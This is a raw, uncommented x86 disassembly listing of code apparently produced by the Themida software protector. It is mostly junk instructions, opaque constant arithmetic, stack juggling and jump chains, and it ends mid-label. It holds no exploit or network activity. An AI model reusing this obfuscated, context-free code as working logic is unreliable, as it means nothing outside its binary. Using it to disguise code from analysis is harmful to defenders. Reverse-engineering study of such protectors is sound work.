--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_58A9A0: ; CODE XREF: sub_592857-7567j mov ecx, [esp+0Ch+var_C] jmp loc_58B983 ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58A9A8: ; CODE XREF: sub_5916C4+34E3j add edx, ebp add edx, 5B8A3F89h push dword ptr [esp+0] pop ebp add esp, 4 jmp loc_58E875 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58A9BC: ; CODE XREF: Themida_:0058F05Cj not eax inc eax jns loc_58F5C0 jmp sub_58E0C4 ; --------------------------------------------------------------------------- sub ebx, 2C425684h pop edx mov ax, [esp] push ebp push esp pop ebp sub esp, 4 mov [esp], esi mov esi, 2E596B48h shl esi, 4 sub esi, 0E596B47Ch add ebp, esi jmp loc_58E3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58A9F3: ; CODE XREF: sub_5916C4-4161j add bl, 76h shr bl, 5 jns loc_59611D shl bl, 1 jmp loc_58D919 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- pop esi shr eax, 2 loc_58AA0A: ; CODE XREF: Themida_:0058F2B1j push edi jmp loc_590866 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp jmp loc_58E45A ; --------------------------------------------------------------------------- loc_58AA1A: ; CODE XREF: Themida_:0058BB5Ej push ebx add dword ptr [esp], 1E6C006Fh mov esi, [esp] add esp, 4 jmp loc_592DEE ; --------------------------------------------------------------------------- loc_58AA30: ; CODE XREF: Themida_:0058E2DBj shr edx, 2 push 6CAh mov [esp], ebx mov ebx, 1E512081h xor edx, ebx pop ebx add edx, 0D6CF69C9h add esi, 2967619Bh jmp loc_595C40 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] sub esp, 4 mov [esp], ebx push edi push 1D585DD0h pop edi neg edi jmp loc_58E608 ; --------------------------------------------------------------------------- loc_58AA6E: ; CODE XREF: Themida_:00595D3Dj pop edx push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp jmp loc_593E6F ; --------------------------------------------------------------------------- loc_58AA8A: ; CODE XREF: Themida_:005912CAj neg ebx add ebx, 7CE228D9h add ecx, ebx jmp loc_591202 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58AA99: ; CODE XREF: sub_5916C4+1371j mov esp, [esp-4+arg_0] mov ax, word ptr [esp-4+arg_0] sub esp, 4 mov [esp+0], ecx push esp mov ecx, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], edi mov edi, 5C760B6Eh xor edi, 5C760B6Ah add ecx, edi push [esp+4+var_4] pop edi add esp, 4 add ecx, 2 xchg ecx, [esp+0] mov esp, [esp+0] movzx cx, al jmp loc_58F892 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58AADC: ; CODE XREF: sub_58C17E+1B3j mov ecx, 6C487D9Ah xor [esp+0Ch+var_8], ecx jmp loc_5966EA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58AAEA: ; CODE XREF: Themida_:0058C144j mov dl, 0C9h mov al, dl pop edx xor bl, al mov eax, [esp] add esp, 4 jmp loc_595997 ; --------------------------------------------------------------------------- loc_58AAFC: ; CODE XREF: Themida_:0058AF39j add esp, 4 push edx mov edx, 18B84FD6h add ebx, edx pop edx sub ebx, ebp push esi mov esi, 184E24F4h shr esi, 2 add esi, 62A96D8Ah jmp loc_58AD7F ; --------------------------------------------------------------------------- loc_58AB21: ; CODE XREF: Themida_:0058CACBj or eax, 393511DEh xor eax, 39BF31DAh add ecx, eax pop eax push ebx mov ebx, 4 jmp loc_58B9C2 ; --------------------------------------------------------------------------- loc_58AB39: ; CODE XREF: Themida_:00597105j push 54ABh mov [esp], ecx jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58AB46: ; CODE XREF: Themida_:0058B2F7j add bl, 0E6h sub bl, al push cx jmp loc_5947B1 ; --------------------------------------------------------------------------- loc_58AB52: ; CODE XREF: Themida_:0058B7C4j add edx, 4 xchg edx, [esp] pop esp push small 7B03h mov [esp], bx mov bx, 57D2h add ax, 241Fh jmp loc_592D18 ; --------------------------------------------------------------------------- loc_58AB6E: ; CODE XREF: Themida_:0058A605j pop edx or ebp, 71275335h inc ebp neg ebp sub ebp, 77592CBFh xor ebp, 1A283039h add eax, ebp pop ebp pop esi add eax, 4 xchg eax, [esp] mov esp, [esp] div ecx sub esp, 4 mov [esp], ecx mov ecx, esp push 26B9h mov [esp], esi mov esi, 63603EFAh push ebp mov ebp, 0ECB55B9h neg ebp sub ebp, 53BD03A0h neg ebp inc ebp xor ebp, 10EB2667h and esi, ebp pop ebp shl esi, 8 shl esi, 4 and esi, 19746073h push ebp mov ebp, 31CA7B7Dh jmp loc_596D35 ; --------------------------------------------------------------------------- loc_58ABDC: ; CODE XREF: Themida_:005917DEj mov eax, 2ACD5BBBh xor ebx, eax pop eax jmp loc_597887 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58ABE9: ; CODE XREF: sub_5916C4+46EDj push esi pop edx pop esi mov ecx, edx jmp loc_58DFA0 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp mov esi, [esp] add esp, 4 push edi jmp loc_597DB2 ; --------------------------------------------------------------------------- loc_58AC08: ; CODE XREF: Themida_:00592DC8j mov [esp], ebp mov ebp, 4 sub ebx, ebp jmp loc_58F61F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58AC17: ; CODE XREF: sub_59762D:loc_59781Dj shr al, 7 shr al, 3 jp loc_595318 xor al, 0F6h push ebx mov bl, al jmp loc_58D8B7 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- pop ebx mov bh, dh pop edx loc_58AC31: ; CODE XREF: Themida_:00596007j add ebp, 3F48586Fh jz loc_594FC5 dec ebp jl loc_595BC4 inc ebp jl loc_58B1BF jmp loc_58EACC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58AC50: ; CODE XREF: sub_595BDA:loc_597D69j shl esi, 2 jmp loc_5962DA ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58AC58: ; CODE XREF: sub_5916C4+4006j push 3DAC3A88h mov esi, [esp+0] add esp, 4 push edx mov edx, 2C437814h and edx, 522D5BC8h shr edx, 4 push ebp mov ebp, 65032797h add ebp, 7FF34378h sub ebp, 0A74A4705h add edx, ebp jmp loc_590658 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58AC8B: ; CODE XREF: sub_58C17E+5857j mov [esp+0Ch+var_C], edx push ebx jmp loc_58CB89 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58AC94: ; CODE XREF: Themida_:0058D111j xchg ecx, [esp] mov esp, [esp] mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58ACA3: ; CODE XREF: Themida_:00592DE9j sub edx, 0E119F207h add eax, edx mov edx, [esp] push edx push esp pop edx jmp loc_591599 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58ACB6: ; CODE XREF: sub_5916CB-345Aj ; sub_590010+10B2j pop eax add esi, 4 xchg esi, [esp-8+arg_4] pop esp dec [esp-0Ch+arg_8] pushf jmp loc_597F6B ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58ACCA: ; CODE XREF: Themida_:0058FD1Ej mov edi, 26D52C05h sub ebx, edi pop edi dec ebx jmp loc_58CBFB ; --------------------------------------------------------------------------- loc_58ACD8: ; CODE XREF: Themida_:005906E1j sub ebp, 305C9319h add edx, ebp pop ebp jmp loc_58F3D0 ; --------------------------------------------------------------------------- loc_58ACE6: ; CODE XREF: Themida_:00594E87j pop dword ptr [esp] jmp loc_58BCF9 ; --------------------------------------------------------------------------- loc_58ACEE: ; CODE XREF: Themida_:0058B104j push ecx jmp loc_5965D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58ACF4: ; CODE XREF: sub_595BDA-47D1j xor cl, 66h add bl, cl pop ecx movzx eax, al lea eax, [edi+eax*4] jmp loc_596D28 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_58AD05: ; CODE XREF: Themida_:005919A8j ; Themida_:loc_5979A4j mov dh, cl pop ecx jmp loc_58C376 ; --------------------------------------------------------------------------- loc_58AD0D: ; CODE XREF: Themida_:005931C0j xchg ecx, [esp] jmp loc_58E7F9 ; --------------------------------------------------------------------------- loc_58AD15: ; CODE XREF: Themida_:0058C22Ej push esi push esp pop esi add esi, 4 push edi mov edi, 2 add esi, edi push dword ptr [esp] jmp loc_59439E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58AD2E: ; CODE XREF: sub_58C17E-10D9j ; sub_5965CD-A4FAj add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp mov ebp, 7F2BBDB9h sub ebp, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_58F609 ; --------------------------------------------------------------------------- loc_58AD53: ; CODE XREF: sub_58C17E+5E55j sub ecx, 0BB2A04F5h jmp sub_597716 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58AD5E: ; CODE XREF: sub_58B4D6+6AA5j push eax push 428Fh jmp loc_58B3CA ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5955A6 loc_58AD69: ; CODE XREF: sub_5955A6+1F5Bj inc cl add cl, 0C2h xor cl, 0B6h jmp sub_58EC96 ; END OF FUNCTION CHUNK FOR sub_5955A6 ; --------------------------------------------------------------------------- loc_58AD76: ; CODE XREF: Themida_:0058E54Aj pop esp mov [esp], eax jmp loc_5978AE ; --------------------------------------------------------------------------- loc_58AD7F: ; CODE XREF: Themida_:0058AB1Cj dec esi jmp loc_58B41B ; --------------------------------------------------------------------------- lodsd jmp loc_58FB52 ; --------------------------------------------------------------------------- loc_58AD8B: ; CODE XREF: Themida_:0058E7B7j mov esi, 0DDE0AD60h add edx, esi pop esi sub esp, 4 mov [esp], edx push edi mov edi, 3CF60A10h xor [esp+4], edi mov edi, [esp] add esp, 4 mov ebx, [esp] add esp, 4 xor ebx, 3CF60A10h mov edx, [esp] add esp, 4 loc_58ADC4: ; CODE XREF: Themida_:00590979j push eax mov eax, [esp] push 0D7h mov [esp], edi mov edi, esp push ebx mov ebx, 20CA5D1Dh add ebx, 0DF35A2E7h add edi, ebx pop ebx push ebx mov ebx, 4 jmp loc_593523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58ADEC: ; CODE XREF: sub_5916CB+5818j pop eax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58ADF2: ; CODE XREF: sub_58C17E-689j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+8+var_8] pop esp jmp loc_58C320 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58AE07: ; CODE XREF: Themida_:00597336j pop dword ptr [esp] add dword ptr [esp], 4 pop ecx push 45F6h mov [esp], ebp mov ebp, 605B1385h jmp loc_58DCF2 ; --------------------------------------------------------------------------- loc_58AE21: ; CODE XREF: Themida_:005933E1j sub edi, esi add edi, 46945948h mov esi, [esp] add esp, 4 add eax, edi pop edi jmp loc_58DD0B ; --------------------------------------------------------------------------- loc_58AE3A: ; CODE XREF: Themida_:0059705Dj pop ecx mov ebx, [esp] add esp, 4 jmp loc_58D8F2 ; --------------------------------------------------------------------------- loc_58AE49: ; CODE XREF: Themida_:00597EDEj push esi push ebp mov ebp, 30444E37h mov esi, ebp pop ebp push 0 sub [esp], esi push dword ptr [esp] pop esi add esp, 4 push ebp mov ebp, 52AA3920h add esi, ebp pop ebp add esi, 73B8716Ch add esi, 635A2974h jmp loc_58C8EE ; --------------------------------------------------------------------------- loc_58AE7F: ; CODE XREF: Themida_:005933EAj pop ecx mov [edi+eax*4+1], dl pop edx mov ebx, [esp] add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58AE90: ; CODE XREF: Themida_:005928F9j pop ebp pop eax add eax, 4 jmp loc_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58AE9C: ; CODE XREF: sub_590467+1656j mov ebx, [esp+0] add esp, 4 xchg eax, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] movzx ecx, ax push 21BFh mov [esp+0], ecx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58AEB8: ; CODE XREF: Themida_:00592AFBj dec eax sub eax, 48BA463Dh shr eax, 5 dec eax add eax, 20095B11h add eax, 309DB1ABh mov edi, eax jmp loc_5943EB ; --------------------------------------------------------------------------- loc_58AED3: ; CODE XREF: Themida_:005905F4j push ebx mov ebx, 10E9529Ch shl ebx, 4 jz loc_5975D9 push edx mov edx, 1D286027h shr edx, 2 neg edx push ecx mov ecx, 345C4EB3h add edx, ecx pop ecx shr edx, 1 neg edx sub edx, 0A786B5D2h and ebx, edx pop edx shl ebx, 4 push esi mov esi, 77CD8E05h xor ebx, esi pop esi push ebp mov ebp, ebx mov eax, ebp pop ebp jmp loc_58BB1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58AF1A: ; CODE XREF: sub_58F5B5+2968j pop esp mov [esp+4+var_4], ebx sub esp, 4 mov [esp+8+var_8], ecx mov cl, 6Bh mov bh, cl jmp loc_595E4C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58AF30: ; CODE XREF: Themida_:00590067j pop esi mov ecx, eax pop eax sub ebp, ecx mov ecx, [esp] jmp loc_58AAFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58AF3E: ; CODE XREF: sub_590B70+330j xor [esp+4], ebx pop ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp add esp, 4 push ebp mov ebp, 50247E69h push ebx mov ebx, 345E6392h dec ebx xor ebx, 417867F5h push ebp jmp loc_5978F6 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58AF7B: ; CODE XREF: sub_5919E2-2AC3j add esp, 4 pop small word ptr [eax] jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_58AF86: ; CODE XREF: Themida_:00595F96j sub esi, 0E29FBBBAh mov edi, esi pop esi and edi, 2EE56FF4h js loc_58A696 or edi, 0FD37D82h push 5FA6h mov [esp], edx mov edx, 17CC394Eh and edx, 25F72DA4h sub edx, 0CC1518B2h jmp loc_595167 ; --------------------------------------------------------------------------- loc_58AFBF: ; CODE XREF: Themida_:0058A2E3j add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58AFD0: ; CODE XREF: sub_59524C+2D53j add ebx, 26473568h jmp loc_58F7ED ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58AFDB: ; CODE XREF: sub_5916C4-E7Aj mov bl, 0A9h jmp loc_58D919 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58AFE2: ; CODE XREF: sub_595123-812Fj push [esp+4+var_4] jmp loc_59653F ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_58AFEA: ; CODE XREF: sub_5966C1+BF6j bt [esp+0], ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58AFF5: ; CODE XREF: sub_5938B9+3450j mov ecx, 0A08ED1AFh sub ecx, esi pop esi push ebp mov ebp, 2ABD5B43h mov esi, ebp jmp loc_59178F ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58B00A: ; CODE XREF: sub_5EC2E8-56811j mov ecx, esi mov esi, [esp+24h+var_24] jmp loc_58D0BC ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_58B109 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_58B01C: ; CODE XREF: sub_5942E3-3569j mov [esp+0], esi jmp loc_59033C ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- push small 2C3Dh push small 658Eh mov [esp], sp push small 705Bh mov [esp], cx push dx jmp loc_595E67 ; =============== S U B R O U T I N E ======================================= sub_58B03F proc near ; CODE XREF: sub_5916CB+3CE3j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0058F51B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00597577 SIZE 00000008 BYTES push ebx push esi jmp loc_58F51B sub_58B03F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B046: ; CODE XREF: sub_58C17E+5EE4j sub esi, 15C7E415h jmp loc_591E27 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58B051: ; CODE XREF: Themida_:00596819j xor esi, [esp] jmp loc_595B3C ; --------------------------------------------------------------------------- loc_58B059: ; CODE XREF: Themida_:0058C0C8j push eax mov eax, 8E65188h push ecx mov ecx, 1CDC6C4Fh xor ecx, 1073469Ch jmp loc_58C18A ; --------------------------------------------------------------------------- loc_58B070: ; CODE XREF: Themida_:005927FFj add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_58BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58B085: ; CODE XREF: sub_5EC2E8-5DDE6j mov edx, ecx pop ecx add edx, 0E36DF7FAh add ebx, edx jmp loc_58F748 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B095: ; CODE XREF: sub_58C17E+8A6j js loc_59203B inc ecx jg loc_5945E0 shl ecx, 6 jmp loc_58AD2E ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B0AA: ; CODE XREF: sub_590467+3A1j push 6B68h mov [esp+0], esi push esp jmp loc_58F0C2 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58B0B8: ; CODE XREF: sub_5916CB+5CE9j add esp, 4 or edi, 72974E0Ah push ecx mov ecx, 4D383F75h or ecx, 32E01353h xor ecx, 70B47000h xor edi, ecx jmp loc_5959A4 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58B0DA: ; CODE XREF: Themida_:00593688j sub al, 0A2h mov ebx, [esp] add esp, 4 push ecx mov ch, 9Dh sub al, ch push dword ptr [esp] pop ecx push esi sub esp, 4 mov [esp], esp push eax mov eax, 4 sub dword ptr [esp+4], 26836A92h add [esp+4], eax jmp loc_58ACEE ; --------------------------------------------------------------------------- loc_58B109: ; CODE XREF: Themida_:0058B017j mov [esp], edi jmp loc_58F93E ; --------------------------------------------------------------------------- loc_58B111: ; CODE XREF: Themida_:0058D5D5j xor dword ptr [esp], 6EC6244Dh jmp loc_58CA9A ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_591B35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B128: ; CODE XREF: sub_590467-658j push 40D37A09h jmp loc_597FCA ; --------------------------------------------------------------------------- loc_58B132: ; CODE XREF: sub_590467+273Dj xor ebp, 707872DFh xor ebp, 7A46618Ch add esi, ebp pop ebp jmp loc_591453 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58B146: ; CODE XREF: sub_590B70+6D9Aj push eax mov eax, 7B8E27D0h shl eax, 8 jmp loc_58D946 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594FD6 loc_58B154: ; CODE XREF: sub_594FD6-348Ej pop eax mov ecx, [esp+10h+var_10] jmp loc_58ECCD ; END OF FUNCTION CHUNK FOR sub_594FD6 ; --------------------------------------------------------------------------- mov cx, [esp] push 6F3Dh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, esp jmp loc_594BC8 ; --------------------------------------------------------------------------- loc_58B185: ; CODE XREF: Themida_:0058FEDFj ; Themida_:00592C6Bj add edi, 2 jmp loc_591506 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B190: ; CODE XREF: sub_58C17E-BC1j dec esi add esi, 6AFA2F86h add esi, 5434DBB6h sub edx, esi pop esi mov ecx, [esp+0] add esp, 4 mov dword ptr [edi+20h], 3EDF178Bh xor [edi+20h], edx mov edx, [esp-4+arg_0] jmp sub_58D0EB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58B1B8: ; CODE XREF: sub_591059-5992j add eax, ebx jmp loc_58DB81 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_58B1BF: ; CODE XREF: Themida_:0058AC45j ; Themida_:005956F3j pop esi jmp loc_59600C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B1C5: ; CODE XREF: sub_58F5B5+74Fj shr ecx, 2 push eax mov eax, esp add eax, 4 jmp loc_58E378 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_58B1D5: ; CODE XREF: sub_58E3A6+9j add edx, 4 xchg edx, [esp+0] pop esp pop [esp-4+arg_0] mov esp, [esp-8+arg_4] add edx, 169B1BB5h push edi mov edi, 55F74DD2h or edi, 5C76E09h and edi, 2BFC7562h add edi, 47B67286h jmp loc_58CC4B ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- loc_58B205: ; CODE XREF: Themida_:005904E1j sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 push edx push edi jmp loc_58C0F9 ; --------------------------------------------------------------------------- loc_58B21A: ; CODE XREF: Themida_:0059464Fj pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_58DA90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58B22C: ; CODE XREF: sub_595BDA:loc_593E3Fj not esi or esi, 395B5D5Eh jmp loc_597D69 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58B239: ; CODE XREF: sub_595E21-8B39j xor eax, ebp sub esp, 4 mov [esp+0], ecx jmp loc_591237 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_58B249: ; CODE XREF: sub_5921D8+1A5Bj mov [esp+0], esp add dword ptr [esp+0], 4 mov ebx, [esp+0] add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] mov esp, [esp-4+arg_0] imul ecx, eax push ecx pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B27B: ; CODE XREF: sub_5916C4+612j neg ebx or ebx, 4C66237h and ebx, 19001798h xor ebx, 100121Ah sub edi, ebx pop ebx push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] pop esp mov word ptr [esp-4+arg_0], cx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58B2A5: ; CODE XREF: Themida_:00591BEFj xchg esi, [esp] pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58B2B6: ; CODE XREF: Themida_:0059448Bj pop edi pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B2C6: ; CODE XREF: sub_58F5B5+5061j pop eax xchg esi, [esp+8+var_8] jmp loc_596737 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_58B2CF: ; CODE XREF: sub_592857+442Bj add [esp+10h+var_8], ebx pop ebx sub [esp+0Ch+var_8], 325B6517h sub [esp+0Ch+var_8], ecx add [esp+0Ch+var_8], 325B6517h sub [esp+0Ch+var_8], 675C3153h jmp loc_58A9A0 ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- loc_58B2F5: ; CODE XREF: Themida_:00593BCEj pop ax jmp loc_58AB46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B2FC: ; CODE XREF: sub_58F5B5-16B9j mov [esp+8+var_8], esi mov eax, [esp+8+var_8] add esp, 4 push [esp+4+var_4] mov esi, [esp+8+var_8] add esp, 4 add esp, 4 not esi xor eax, esi xor esi, eax xor eax, esi jmp loc_58F693 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58B321: ; CODE XREF: sub_595123-7C89j ; sub_595123-66F1j ... push dword ptr [edi+24h] push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 push edx mov edx, esp push edi mov edi, 6701359Ch inc edi shl edi, 1 xor edi, 6DB763B2h push edx mov edx, 7BF93838h xor edx, 59A96F21h shl edx, 7 sub edx, 847683F4h xor edi, edx pop edx add edx, 616A2719h jmp loc_594675 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B365: ; CODE XREF: sub_590467-48C5j inc ebp not ebp inc ebp jg loc_595411 inc ebp jo loc_592150 jmp loc_597974 ; --------------------------------------------------------------------------- loc_58B37B: ; CODE XREF: sub_590467-2A23j and bh, 8 jmp loc_596A1D ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58B383: ; CODE XREF: Themida_:005965E2j mov eax, [esp] add esp, 4 pop esi add esi, 4 jmp loc_595B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58B398: ; CODE XREF: sub_5938B9+3C02j mov [esp+0], edx not dword ptr [esp+0] pop edx jmp loc_59047B ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58B3A4: ; CODE XREF: sub_594654-7CB3j mov ax, [esp+0] push ebp push 3700h mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_59346E ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B3BD: ; CODE XREF: sub_5916C4-2E5Fj xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] pop esp push ebp jmp loc_58CD63 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58B3CA: ; CODE XREF: sub_58B4D6-772j mov [esp+8+var_8], esp sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 21421DB6h inc eax jns loc_58D739 xor eax, 21421DB3h add [esp+0Ch+var_8], eax pop edi loc_58B3E9: ; CODE XREF: Themida_:0058C8FFj sub eax, ebx jmp loc_596325 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B3F0: ; CODE XREF: sub_5916C4+5C2Fj jmp loc_590363 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B3F5: 